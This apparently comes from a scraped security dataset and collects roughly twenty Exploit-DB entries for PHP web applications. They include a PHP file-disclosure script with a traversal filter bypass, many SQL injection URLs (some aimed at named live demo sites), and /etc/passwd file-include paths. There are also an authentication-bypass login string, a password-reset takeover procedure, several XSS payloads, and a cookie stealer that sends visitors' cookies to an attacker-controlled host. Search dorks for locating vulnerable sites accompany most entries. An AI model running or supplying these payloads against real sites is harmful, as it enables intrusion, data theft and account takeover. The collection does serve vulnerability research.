deardaniel/secdata-raw huggingface dataset:
Exploit-DB #38828
Description: Limonade Framework - 'limonade.php' Local File Disclosure
Type: webapps
Platform: php
Date: 2013-11-17
Author: Yashar shahinzadeh

Exploit:
source: https://www.securityfocus.com/bid/63771/info

Limonade framework is prone to a local file-disclosure vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to obtain sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.

Limonade framework 3.0 vulnerable; other versions may also be affected. 

<?php
/** To prevent of time out **/
set_time_limit(0);
 
/** Error reporting **/
error_reporting(0);
 
/** Necessary variables **/
$url = $argv[1];
$data = $argv[2];
$needle = $argv[3];
 
/** Curl function with appropriate adjustments **/
function CurlPost($url='localhost',$data=array())
{
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);
    curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,2);
    curl_setopt($ch,CURLOPT_HEADER,1);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch,CURLOPT_TIMEOUT,50);
    curl_setopt($ch,CURLOPT_POST,true);
    curl_setopt($ch,CURLOPT_POSTFIELDS,$data);
    return curl_exec($ch);
    curl_close($ch);
}
 
list($param,$file) = explode(':',$data);
 
$FilterBypassing = '....//';
for($i=0;$i<10;$i++)
{
    $DataToPost[$param] = $FilterBypassing.$file;
    $response = CurlPost($url,$DataToPost);
    if(strstr($response,$needle)!==FALSE)
    {
        echo $response;
        echo "\n\nExploited successfully!\n";
        echo 'Payload: ',$DataToPost[$param],"\n\n\n";
        die();
    }
     
    $FilterBypassing .= '....//';
}
?>
Exploit-DB #34811
Description: Linea21 1.2.1 - 'search' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-08
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/43711/info

Linea21 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Linea21 1.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/public/index.php?search="&#039;><script>alert(&#039;xss&#039;)</script>&rub=resultats-recherche&valid.x=4&valid.y=6&valid=valider
Exploit-DB #10736
Description: lineaCMS - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-27
Author: Phenom

Exploit:
 #######################################################################
 #                                                                     #
 ###         lineaCMS Cross Site Scripting Vulnerability             ###
 #                                                                     #
 #######################################################################
 #                                                                     #
 #  Author : Phenom                                                    #
 #                                                                     #
 #  vendor : http://www.lineaphp.net                                   #
 #                                                                     #
 #  language : PHP                                                     #
 #                                                                     #
 #  Dork : Powered by lineaCMS © 2006 lineaPHP Group                   #
 #                                                                     #
 #######################################################################
 #                                                                     #
 # Exploit :                                                           #
 #                                                                     #
 # 1- http://server/path/search.php                                    #
 #                                                                     #
 # 2- type here your XSS                                               #
 #######################################################################
Exploit-DB #33470
Description: LineWeb 1.0.5 - Multiple Remote Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-05
Author: Ignacio Garrido

Exploit:
source: https://www.securityfocus.com/bid/37613/info

LineWeb is prone to multiple remote vulnerabilities:

- Multiple local file-include vulnerabilities
- An SQL-injection vulnerability
- A security-bypass vulnerability

An attacker can exploit these issues to execute arbitrary local files within the context of the webserver process, obtain sensitive information, compromise the affected application, access or modify data, or exploit latent vulnerabilities in the underlying database.

LineWeb 1.0.5 is vulnerable; other versions may also be affected. 

http://www.example.com/Lineage%20ACM/lineweb_1.0.5/admin/index.php?op=index.php?op=../../../../../../../etc/passwd%00
http://www.example.com/Lineage ACM/lineweb_1.0.5/index.php?op=index.php?op=../../../../../../../etc/passwd%00
http://www.example.com/Lineage%20ACM/lineweb_1.0.5/admin/edit_news.php?newsid=%27
Exploit-DB #32561
Description: LinEx - Password Reset
Type: webapps
Platform: php
Date: 2014-03-27
Author: N B Sri Harsha

Exploit:
# Exploit Title: LinEx All Versions Password Reset Vulnerability
# Google Dork:  linkex.dk 2006-2011
# Date: 15/01/2014
# Exploit Author: N B Sri Harsha ( Reconnect Gray hat )
# Vendor Homepage: http://linkex.dk/
# Software Link: http://linkex.dk/releases/linkex.20120508.zip
# Version: All Versions


LinkEx Is A Open Source Web Application For Exchanging link ,  Which Most
Of The Porn Sites Uses it ,

1) First GO Here http://site.com/linkex/?page=admin
2) Click On Forgot password and enter the captcha
3) Go Here >> site.com/linkex/data/config/config
Note down the " key " parameter
ie :- "key";s:32:"36d1dd98c84e[PII_REDACTED]49e96bed0d"
4) Now Use the Key Here >> site.com/linkex/?page=resetpassword&key=[key]
5) Thats It U Will Asked For New Username And Password


Shouts to :-  | ROHIT ROY | GRAY CODE | Moni HBH | Yamraaj | HALK | Le3to |
HaXarwOw | COSMO | 404 !-!@!2$!-!@ | Root Breaker | N3O | Godhacker |
3QUIVOR | Dmostwanted | r00t.hc0n | hun73r_ihos |

-- 
Regards
N B Sri Harsha
Exploit-DB #5930
Description: Link ADS 1 - 'linkid' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-24
Author: Hussin X

Exploit:
#########################################################
#
#   Link ADS 1  SQL Injection Vulnerability
#========================================================
#
#    Author: Hussin X                                   
#                                                       
#    Home :  www.tryag.cc/cc                            
#                                                     
#    email:  darkangel_g85[at]Yahoo[DoT]com            
#            hussin.x[at]hotmail[DoT]com                
#                                               
#========================================================
#    HomE script : http://e-topbiz.com/
#     
#    Demo : http://e-topbiz.com/oprema/pages/linkads1.php  
#    
#    DorK : out.php?linkid=1
#    DorK : inurl:"out.php?linkid=1"
##########################################################

Exploit:   


http://www.site.org/Script/out.php?linkid=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11--




L!VE DEMO:

http://e-topbiz.com/trafficdemos/linkads1/out.php?linkid=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11--


LogiN:


/admin/

 
################################################################################
####################################( Greetz )##################################
#                                                                              #
#      tryag / Mr.IraQ / DeViL iRaQ / IRAQ DiveR/ IRAQ_JAGUAR /str0ke          #      

#                 Silic0n  / Rafi / FAHD / Iraqihack                           #      

#                                                                              #
#################################(and All IRAQIs)###############################
################################################################################

# milw0rm.com [2008-06-24]
Exploit-DB #27367
Description: Link Bank - 'Iframe.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-07
Author: Retard

Exploit:
source: https://www.securityfocus.com/bid/17001/info

Link Bank is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated HTML content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/iframe.php?site=%3C/title%3E%3C/head%3E%3Cscript%20src=http://www.example.com/xss.js%3E%3C/script%3E
Exploit-DB #12596
Description: Link Bid Script - 'links.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-14
Author: R3d-D3V!L

Exploit:
######################{In The Name Of Allah The Mercifull} ######################

[~] Tybe: SQL Injection Vulnerabilities 
[~] Vendor: www.linkbidscript.com 
[+] Software: Link Bid Script  
[+] author: ((R3d-D3v!L)) 
[~] 
[+] TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY ---->((4.!.5)) 
[~] 
[?] contact: X[at]hotmail.co.jp 
[-] 
[?] Date: 14.Jan.2010 
[?] T!ME: 05:15 am GMT 
[?] Home: © Offensive Security 
[?] 
  
====================================================================================== 
# SQL Injection # links.php id 
====================================================================================== 
[*] Err0r C0N50L3: 
http://127.0.0.1/links.php?id={EV!L EXPLO!T} 
  
[*] prove of concept


when you put ' after id num you can see the page is changed 



and when you put {order+by+1} after id you can see the normal page


  the order is accepted so the script is infected.
  
[~]-----------------------------{((MAGOUSH-87))}------------------------------------------------# 
# 
[~] Greetz tO: [dolly &MERNA &DEV!L_MODY &po!S!ON Sc0rp!0N &JASM!N &MARWA & mAG0ush-1987] # 
# 
[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ # 
# 
[~] spechial thanks : ((HITLER JEDDAH & S!R TOTT! & DR.DAShER)) # 
# 
[?]spechial SupP0RT : MY M!ND # © Offensive Security # 
# 
[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L<--M2Z--->JUPA<---aNd--->Devil ro0t)) # 
# 
[~]spechial FR!ND: 0r45hy # 
# 
[~] !'M 4R48!4N 3XPL0!73R. # 
# 
[~]{[(D!R 4ll 0R D!E)]}; # 
# 
[~]---------------------------------------------------------------------------------------------
Exploit-DB #6466
Description: Link Bid Script 1.5 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-09-15
Author: SirGod

Exploit:
#################################################################################################################
[+] Link Bid Script 1.5 Multiple Remote SQL Injection
[+] Discovered By SirGod
[+] wWw.MorTal-TeaM.OrG
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke
#################################################################################################################

[+] Remote SQL Injection


  - Note : For PoC 2 you need administrative rights.

     PoC 1 :

       http://[target]/[path]/upgrade.php?ucat=[SQL]

     Example 1 :

       http://127.0.0.1/linkbid/upgrade.php?ucat=-1086 union all
select 1,2,3,version(),database(),6,user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--

     Live Demo 1 :

       http://demo.linkbidscript.com/upgrade.php?ucat=-1086 union all
select 1,2,3,version(),database(),6,user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--


-----------------------------------------------------------------------------------------------------------------

     PoC 2 :

       http://[target]/[path]/linkadmin/edit.php?id=[SQL]

     Example 2 :

       http://127.0.0.1/linkbid/linkadmin/edit.php?id=-1 union all
select 1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--

#################################################################################################################

# milw0rm.com [2008-09-15]
Exploit-DB #29232
Description: Link CMS - 'navigacija.php?IDMeniGlavni' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-18
Author: Ivan Markovic

Exploit:
source: https://www.securityfocus.com/bid/21464/info

Link CMS is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.exemple.com/navigacija.php?IDMeniGlavni=[code]&IDStranicaPodaci=228&jezik=lat
Exploit-DB #29233
Description: Link CMS - 'prikazInformacije.php?IDStranicaPodaci' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-18
Author: Ivan Markovic

Exploit:
source: https://www.securityfocus.com/bid/21464/info
 
Link CMS is prone to multiple input-validation vulnerabilities, including SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example,com/prikazInformacije.php?IDStranicaPodaci=[code]
Exploit-DB #14717
Description: Link CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-08-23
Author: hacker@sr.gov.yu

Exploit:
# Exploit Title: LINK CMS.SQL Injection Vulnerability
# Date: 2010-08-23
# Author: hacker@sr.gov.yu
# Software Link:
http://www.link-softsolutions.com/SoftLink-Content-Management-System---CMS_20_1
# Version: n/a


####################################################################
.:. Author : hacker@sr.gov.yu
.:. Contact: hacker@evilzone.org, hacker@sr.gov.yu(MSN)
.:. Home : www.evilzone.org, www.pentesting-rs.org
.:. Script : LINK CMS
.:. Bug Type : Sql Injection
.:. Risk: High
.:. Tested on : Windows & Linux
 ####################################################################

===[ Exploit ]===

.:. It was found that LINK CMS does not validate properly the "IDStranicaPodaci"
parameter value.

http://server/navigacija.php?jezik=lat&IDMeniGlavni=6&IDMeniPodSekcija=45&IDMeniPodSekcija3=6&IDStranicaPodaci=63[SQLi]

===[ Example ]===

http://server/navigacija.php?jezik=lat&IDMeniGlavni=6&IDMeniPodSekcija=45&IDMeniPodSekcija3=6&IDStranicaPodaci=-63
UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--


===[ Solution ]===

.:. Input validation of "IDStranicaPodaci" parameter should be corrected.


Greetz to ALL EVILZONE.org && pentesting-rs.org members!!!
Pozdrav za sve iz Srbije!!! :-)))
Exploit-DB #15637
Description: Link Protect 1.2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-11-30
Author: Shichemt Alen

Exploit:
# Exploit Title: Link Protect 1.2 XSS Vulnerabilities
# Date: 11-29-2010
# Author: Shichemt Alen
# Software Link: None
# Version: 1.2
# Platform / Tested on: Windows XP SP2 DE & Ubuntu 10.10
# category: webapps/0day
# Dork : inurl:"sorry script'kiddies"
# Contact : shichemt@hotmail.com - http://www.shichemt-alen.com/


#Exploit : http://localhost/fail/linkcheck.php?linkid=++++++

---------- http://localhost/fail/contact_us.php

---------- http://localhost/fail/signup.php

Put "><script>alert("EPIC FAIL\nTunisia")</script> in description, name, email or link


############ Made in Tunisia +216 ############

Greets to :  Geeks Team {Pr0t3ct0r,Hamed, K-D0vic, Mid0vik, UbunBoy}

-----------------------

xTobi, Net-Own3r, Wx, BosnianTREX, Number7, Ghost-tn and All Friends...

& All Tunisian and Muslim Hackers...


############ Made in Tunisia +216 ############
Exploit-DB #17587
Description: Link Station Pro - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-07-30
Author: $#4d0\/\/[r007k17]

Exploit:
                                              %+
$.......#........4.........|)........0............\/\/       %+


                                              %+
                                                       %+


%++++++++++++++++++++++++++++++++++++++++


# Exploit Title: Link Station Pro Multiple Vulnerabilities
# Vendor:  www.linkstationpro.com
# Date: 28th july,2011
# Author: $#4d0\/\/[r007k17] a.k.a Raghavendra Karthik D (
http://www.shadowrootkit.wordpress.com)
# Google Dork:  � 2011 Copyright SteveDawson.com
*****************************************************************************************************************************************************************************************
BREIF DESCRIPTION
*****************************
 Link Station Pro is without doubt, the most efficient, easiest and most
configurable reciprocal link management tool available for all your
reciprocal link requirements.

******************************************************************************************************************************************************************************************

(Auth ByPass) SQLi Vulnerability
***************************************
{DEMO} : http://www.linkstationpro.com/Partners/admindemo/index.php

EXPLOIT:
                 Username: ' or 'bug'='bug' #
                 Password: ' or 'bug'='bug' #
Observe: Attackers can use Authentication Bypass to get into Admin Panel in
the site.

Reflected XSS Vulnerability
********************************
EXPLOIT 2:  XSS Vulnerability in admin panel(in most of the text fields)

   {Demo}:
http://www.linkstationpro.com/Partners/admindemo/manage_categories.php
    Exploit:  ">><marquee><h1>XSSed_by_r007k17</h1></marquee>

*****************************************************************************************************************************************************************************************
gr33t1ngs to s1d3 effects and my friends@!3.14--
*****************************************************************************************************************************************************************************************
Exploit-DB #6650
Description: Link Trader - 'lnkid' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-01
Author: Hussin X

Exploit:
|___________________________________________________|
|
|  Link Trader (lnkid) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|
|
|___________________________________________________
|                                                   |
|
| script : http://www.ezonescripts.com/scripts/sls/linktrader.php
|
| DorK  : inurl:ratelink.php?lnkid=
|___________________________________________________|

Exploit: 



www.[target].com/Script/ratelink.php?lnkid=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6,7,8,9,10,11,12+from+o_categories/*






L!VE DEMO:


http://www.ezonescripts.com/productdemos/LinkTrader/ratelink.php?lnkid=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,user(),version(),database()),6,7,8,9,10,11,12+from+o_categories/*



__________________________

table_name : column_name


o_categories:c_name
o_categories:c_id
o_categories:c_date
o_links:l_id
o_links:l_name
o_links:l_email
o_links:l_cid
o_links:l_sitename
o_links:l_homeurl
o_links:l_linkurl
o_links:l_slogan
o_links:l_description
o_links:l_webmasterschoice
o_ratings:r_id
o_ratings:r_lid
o_ratings:r_votecount

__________________________



____________________________( Greetz )_________________________________
|
|    All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|    Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaG I

# milw0rm.com [2008-10-01]
Exploit-DB #6455
Description: Linkarity - 'link.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-13
Author: Egypt Coder

Exploit:
================================================================================
  Linkarity (link.php) Remote SQL Injection Vulnerability   
================================================================================



Discovered By: Egypt Coder

home : WWW.Sec-Area.com

Mail: Egyptcoder@hotmail.com



Dork:  Powered by: Linkarityâ„¢


Exploit :

http://localhost/link.php?cat_id=-1+union+select+1,2,3,4,5,6,7,8,version(),version(),11,12,13,14,15,16,17,18



Greets : ProViDoR , rUnViruS, Error Code, H666p , Fear Master , Broken Security

# milw0rm.com [2008-09-13]
Exploit-DB #8618
Description: LinkBase 2.0 - Remote Cookie Grabber
Type: webapps
Platform: php
Date: 2009-05-05
Author: SirGod

Exploit:
#################################################################################################################
[+] Download LinkBase 2.0 Cookie Grabber Exploit
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
[+] Greetz : All my friends
#################################################################################################################

[+] Make 2 files and upload to your host :

  stealer.php  - > Put the following code into the file :
 
<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

  log.txt   - > CHMOD it 777 and put in the same directory with stealer.php
 
[+] Register as :

  <script>document.location ="http://[YOUR_HOST]/[path]/stealer.php?cookie=" + document.cookie;</script>

  Every time the admin will visit the "Users" menu from admin panel he will be redirected to your cookie stealer.

#################################################################################################################

# milw0rm.com [2009-05-05]
Exploit-DB #30138
Description: Linker 2.0.4 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-06-02
Author: vagrant

Exploit:
source: https://www.securityfocus.com/bid/24277/info

Codelib Linker is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.php?cat=[xss]